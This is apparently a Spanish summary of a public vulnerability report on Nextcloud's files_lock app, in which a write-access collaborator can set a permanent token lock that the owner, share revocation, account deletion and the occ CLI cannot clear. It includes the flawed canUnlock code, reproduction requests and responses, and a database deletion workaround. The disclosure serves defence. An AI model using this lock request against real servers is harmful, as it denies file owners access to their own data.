Reports
MEDIA[LÓGICA DE NEGOCIO]#3770482

Nextcloud files_lock: un colaborador con permiso de escritura podía bloquear para siempre un fichero ajeno

Un bloqueo de tipo TYPE_TOKEN colocado por quien tenía el fichero compartido no caducaba, el dueño no podía quitarlo y sobrevivía a la revocación del recurso compartido y al borrado de la cuenta. Solo se arreglaba tocando la base de datos.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La app files_lock de Nextcloud admite varios tipos de bloqueo. Uno de ellos, TYPE_TOKEN (valor 2), solo se puede retirar presentando el token del bloqueo. El investigador comprobó, con files_lock 33.0.4 sobre Nextcloud 33.0.3, que cualquier colaborador con permiso de escritura sobre un fichero compartido podía colocar ese tipo de bloqueo y dejar el fichero inutilizable de forma permanente para su propietario.

Se juntaban cuatro problemas:

  1. El propietario no puede quitar el bloqueo. En LockService::canUnlock(), la rama de TYPE_TOKEN solo acepta el mismo token o al mismo usuario que bloqueó (si allowUserOverride está activo). A diferencia de la otra rama de la misma función, no contempla ninguna excepción para el dueño del fichero:
public function canUnlock(LockContext $request, FileLock $current): void {
    $isSameUser  = $current->getOwner() === $this->userSession->getUser()?->getUID();
    $isSameToken = $request->getOwner() === $current->getToken();
    $isSameOwner = $request->getOwner() === $current->getOwner();
    $isSameType  = $request->getType() === $current->getType();

    // TYPE_TOKEN branch: only same-token OR same-user-with-allowUserOverride.
    // No file-owner fall-through.
    if ($current->getType() === ILock::TYPE_TOKEN) {
        if ($isSameToken || ($this->allowUserOverride && $isSameUser)) {
            return;
        }
        throw new UnauthorizedUnlockException(
            $this->l10n->t('File can only be unlocked by providing a valid owner lock token')
        );
    }

    // Non-TYPE_TOKEN branch: falls through to owner-equality check
    if ($isSameOwner && $isSameType) {
        return;
    }
}
  1. El bloqueo no caduca. El tiempo de vida por defecto es -1 minutos; multiplicado por 60 da -60, que FileLock::getETA() interpreta como "sin caducidad" (en la respuesta aparece eta: -1):
public const LOCK_TIMEOUT = 'lock_timeout';

protected $defaults = [
    self::LOCK_TIMEOUT => '-1'
];

public function getLockTimeout(): int {
    return ((int)$this->getAppValue(ConfigService::LOCK_TIMEOUT)) * 60;
}
  1. El bloqueo no depende de la vida del usuario que lo puso. La tabla oc_files_lock guarda al autor como un simple UID, sin clave foránea a oc_users. Borrar al usuario no borra sus bloqueos.
  2. La recuperación por CLI documentada falla. occ files:lock <id> -u necesita el objeto de usuario del autor del bloqueo para localizar el fichero. Si el usuario se ha borrado, falla con Backends provided no user object; si se ha vuelto a crear con el mismo UID, falla con NotFoundException, porque la nueva cuenta ya no tiene acceso compartido al fichero.

El fallo tiene asignado el CVE-2026-77165 con el aviso GHSA-22w9-gpgv-pcgc. El programa lo clasificó como severidad media. Reportado el 29 de mayo de 2026 y divulgado el 18 de septiembre de 2026.

Pasos de reproducción

El investigador adjuntó un paquete autocontenido (nextcloud_repro.zip) con tres scripts:

  1. ./01-setup.sh levanta nextcloud:33.0.3 en localhost:18083, crea los usuarios alice y bob, instala files_lock, hace que alice cree /lock-target.txt y lo comparta con bob con permissions=19 (READ | UPDATE | SHARE). Muestra el fileId y el shareId.
  2. ./02-attack.sh '<FILE_ID>' '<SHARE_ID>' coloca el bloqueo como bob y después prueba en orden todas las vías de recuperación: PUT de alice, desbloqueo OCS de alice, revocación del recurso compartido, borrado de la cuenta y desbloqueo por CLI.
  3. ./03-verify.sh muestra la fila del bloqueo, el código HTTP de cada intento, la salida del CLI y el fragmento de canUnlock.

Las peticiones clave son estas.

Bob coloca un bloqueo TYPE_TOKEN con una sola llamada OCS:

PUT /ocs/v2.php/apps/files_lock/lock/<FILE_ID>?lockType=2&format=json HTTP/1.1
Authorization: Basic [REDACTADO]
OCS-APIRequest: true
HTTP/1.1 200 OK

{
  "ocs": {
    "meta": {"status":"ok","statuscode":200,"message":"OK"},
    "data": {
      "id": 1,
      "userId": "bob",
      "displayName": "bob ",
      "fileId": <FILE_ID>,
      "token": "files_lock/<random-uuid>",
      "eta": -1,
      "creation": <epoch>,
      "type": 2
    }
  }
}

Alice, la dueña, intenta escribir en su fichero y recibe 423 Locked:

PUT /remote.php/dav/files/alice/lock-target.txt HTTP/1.1
Authorization: Basic [REDACTADO]
HTTP/1.1 423 Locked

<d:error xmlns:d="DAV:" xmlns:s="http://sabredav.org/ns">
  <s:exception>Sabre\DAV\Exception\Locked</s:exception>
  <d:lock-token-submitted>
    <d:href>files/alice/lock-target.txt</d:href>
  </d:lock-token-submitted>
</d:error>

Alice intenta desbloquearlo por OCS y también recibe 423:

DELETE /ocs/v2.php/apps/files_lock/lock/<FILE_ID>?format=json HTTP/1.1
Authorization: Basic [REDACTADO]
OCS-APIRequest: true
HTTP/1.1 423

{"ocs":{"meta":{"status":"failure","statuscode":423,"message":"File is currently locked by bob "},"data":{...}}}

Ni revocar el recurso compartido, ni borrar a bob, ni volver a crearlo con el mismo UID cambian nada: el PUT y el desbloqueo OCS siguen devolviendo 423.

El administrador prueba el CLI, primero con bob borrado:

$ occ files:lock <FILE_ID> -u
unlocking File #<FILE_ID>

In Root.php line 331:
  Backends provided no user object

Y con bob recreado:

$ occ files:lock <FILE_ID> -u
unlocking File #<FILE_ID>

In FileService.php line 51:
  [OCP\Files\NotFoundException]

La única salida es borrar la fila directamente en la base de datos:

sqlite> DELETE FROM oc_files_lock WHERE file_id = <FILE_ID>;

Impacto

Un colaborador con permiso de escritura sobre un fichero compartido puede, con una sola llamada OCS, bloquearlo para siempre frente a su dueño y a cualquier otro colaborador. La propietaria no tiene forma de recuperarlo desde la interfaz, y el administrador tampoco con la herramienta de línea de órdenes documentada: solo con acceso directo a la base de datos, un procedimiento que la documentación de la app no menciona. Es una denegación de servicio persistente sobre ficheros compartidos.

El investigador lo relaciona con un fallo anterior, CVE-2021-22906 (GHSA-3829-45wm-ww36), en el que la app End-to-End Encryption permitía a cualquier usuario autenticado bloquear ficheros ajenos de forma temporal (calificado como bajo). En este caso hace falta tener el fichero compartido con escritura, pero el bloqueo es permanente y rompe la recuperación por parte del administrador.

Remediación

Nextcloud lo corrigió y lo publicó en el aviso GHSA-22w9-gpgv-pcgc. El reporte no describe el parche concreto.